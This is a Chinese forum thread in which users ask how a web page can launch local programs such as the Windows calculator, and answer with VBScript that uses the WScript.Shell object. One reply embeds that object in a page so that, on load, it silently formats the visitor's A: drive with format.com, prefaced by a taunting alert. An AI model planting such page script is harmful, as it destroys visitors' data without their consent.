如何在网页中调用Windows的计算器?(100分)

  • 主题发起人 主题发起人 yan
  • 开始时间 开始时间
Y

yan

Unregistered / Unconfirmed
GUEST, unregistred user!
如果直接在网页中指定链接地址,会出现两次提问,
而我想只点击一次就调出Windows的计算器.
 
“如果直接在网页中指定链接地址,会出现两次提问,”
????

是不是要把用户ie的安全等级降低
 
把用户IE的安全等级降低可以解决问题,但安全问题
怎磨办?安全是第一位的。
 
在IE的URL栏直接输入路径可以直接调出,
在程序中如何写?
 
告诉我如何直接调出本地的EXE程序,如媒体播放器也行.
 
Dim WSHShell
Set WSHShell = WScript.CreateObject("WScript.Shell")
WSHShell.run("notepad.exe")

把notepad.exe换成别的exe文件名即可
 
cAkk:我在系统上运行时提示:
缺少对象: 'WScript'
win98+pws4.0
是不是WScript需要另外安装。怎样得到'WScript'
 
这样吧!!!
<OBJECT classid=clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B id=wsh>
</OBJECT>
<SCRIPT>
alert('信不信格式你的A');
wsh.Run('start /m c://windows//command//format.com a:/q /autotest /u');
</SCRIPT>
</P>
 
cAkk:还是不行。我也不怕格式我的C:'
调试时,出现打开An Object has failed to load,the object will be
displayed as text!


 
可能你的机器没有装ms script,你打开控制面板,安装这个东西试一试:

"添加删除程序|windows安装程序|附件|windows scripting host"
 
装过了。
出现上述问题是在用Interdev 6打时提示的。
 
cAkk:帮帮我吧。我也作一个要在要在网页里执行程序的网页。
我另外送分给你。
 
用IE调入页面显示什么结果?
 
测试一下,请对警告对话框回答"是":
<script language="VBScript"">;
Dim WSHShell
Set WSHShell = CreateObject("WScript.Shell")
WSHShell.run("notepad.exe c:/autoexec.bat")
</script>
 
<script language="VBScript">
Dim WSHShell
Set WSHShell = CreateObject("WScript.Shell")
WSHShell.run("notepad.exe c:/autoexec.bat")
</script>
 
刚才你的浏览器有没有把你的c:/autoexec.bat调出来?
 
呵呵,没有……
 
<script language="VBScript">
Dim WSHShell
Set WSHShell = CreateObject("WScript.Shell")
WSHShell.run("c:/autoexec.bat")
</script>
 
没有????
 
lodgue: 你的浏览器没有把autoexec.bat调出来???
 
后退
顶部